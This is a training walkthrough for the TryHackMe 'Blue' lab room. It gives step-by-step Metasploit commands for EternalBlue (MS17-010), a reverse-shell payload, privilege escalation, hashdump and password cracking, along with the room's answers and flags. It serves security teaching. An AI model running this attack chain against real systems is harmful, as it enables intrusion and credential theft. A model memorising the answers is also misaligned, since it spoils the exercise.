

Path 2: Cyber Security 101 > Module 7: Exploitation Basics > Room 5: Blue

<https://tryhackme.com/room/blue>

Blue:

Deploy & hack into a Windows machine, leveraging common misconfigurations issues.

>> Task 1: Recon

Link to Ice, the sequel to Blue: <https://tryhackme.com/room/ice>

You can check out the third box in this series, Blaster, here:

<https://tryhackme.com/room/blaster>

The virtual machine used in this room (Blue) can be downloaded for offline usage from <https://darkstar7471.com/resources.html>

Q1) Scan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmap [<https://tryhackme.com/room/furthernmap>] room)

Command: `nmap -sV -vv --script vuln TARGET_IP`

Q2) How many ports are open with a port number under 1000?

Answer: 3

Q3) What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)

Answer: ms17-010

>> Task 2: Gain Access

Exploit the machine and gain a foothold.

Q1) Start Metasploit (<https://tryhackme.com/module/metasploit>)

Command: **msfconsole**

Q2) Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/.....)

Answer: exploit/windows/smb/ms17_010_eternalblue

Command: **search ms17-010**

use exploit/windows/smb/ms17_010_eternalblue

Q3) Show options and set the one required value. What is the name of this value?

(All caps for submission)

Answer: RHOSTS

Command: **show options**

set RHOSTS <Target_IP>

Q4) Set the payload "windows/x64/shell/reverse_tcp"

Command: **set payload windows/x64/shell/reverse_tcp**

Q5) With that done, run the exploit!

Command: **run** (Method 1)

exploit (Method 2)

Q6) Confirm that the exploit has run correctly. You may have to press enter for the DOS shell to appear. Background this shell (**CTRL + Z**).

Command: **background** (Method 1)

Ctrl+Z (Method 2)

>> Task 3: Escalate

Escalate privileges, learn how to upgrade shells in metasploit.

Q1) If you haven't already, background the previously gained shell (CTRL + Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (Exact path, similar to the exploit we previously selected)

Answer: post/multi/manage/shell_to_meterpreter

Commands: Research online "how to convert a shell to meterpreter shell in Metasploit" or Google this "shell_to_meterpreter" (Method 1)

`search shell_to_meterpreter` (Method 2)

Q2) Select this (use MODULE_PATH). Show options, what option are we required to change?

Answer: SESSION

Command: `use post/multi/manage/shell_to_meterpreter`
`show options`

Q3) Set the required option, you may need to list all of the sessions to find your target here.

Command: `sessions`
`set session <Session_Id> {session id: 1}`

Q4) Run! If this doesn't work, try completing the exploit from the previous task once more.

Command: `run`

Q5) Once the meterpreter shell conversion completes, select that session for use.

Command: `sessions <Session_Id> {session id: 2}`

Q6) Verify that we have escalated to NT AUTHORITY\SYSTEM. Run getsystem to confirm this. Feel free to open a dos shell via the command 'shell' and run 'whoami'. This should return that we are indeed system. Background this shell afterwards and select our meterpreter session for usage again.

Command: `getuid`

Q7) List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column).

Command: `ps` (PID: 3064 & Process: powershell.exe)

Q8) Migrate to this process using the 'migrate PROCESS_ID' command where the process id is the one you just wrote down in the previous step. This may take several attempts, migrating processes is not very stable. If this fails, you may need to re-run the conversion process or reboot the machine and start once again. If this happens, try a different process next time.

Command: **migrate <PROCESS_ID>**

>> Task 4: Cracking

Dump the non-default user's password and crack it!

Q1) Within our elevated meterpreter shell, run the command '**hashdump**'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?

Answer: Jon

Command: **hashdump**

Q2) Copy this password hash to a file and research how to crack it. What is the cracked password?

Answer: alqfna22

Command:

sudo john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

(Method 1)

<https://crackstation.net/> (Method 2: Use online hash cracker)

>> Task 5: Find flags!

Find the three flags planted on this machine. These are not traditional flags, rather, they're meant to represent key locations within the Windows system. Use the hints provided below to complete this room!

Completed Blue? Check out Ice: <https://tryhackme.com/room/ice>

You can check out the third box in this series, Blaster, here:

<https://tryhackme.com/room/blaster>

Q1) Flag1? This flag can be found at the system root.

Answer: flag{access_the_machine}

Command: `search -f "**flag*"`
`cat "c:\flag1.txt"`

Hint: Can you **C** it?

Q2) Flag2? This flag can be found at the location where passwords are stored within Windows.

*Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.

Answer: flag{sam_database_elevated_access}

Command: `search -f "**flag*"`
`cat "c:\Windows\System32\config\flag2.txt"`

Hint: I wish I wrote down where I kept my password. Luckily it's still stored here on Windows.

Q3) flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.

Answer: flag{admin_documents_can_be_valuable}

Command: `search -f "**flag*"`
`cat "c:\Users\Jon\Documents\flag3.txt"`

Hint: You'll need to have elevated privileges to access this flag.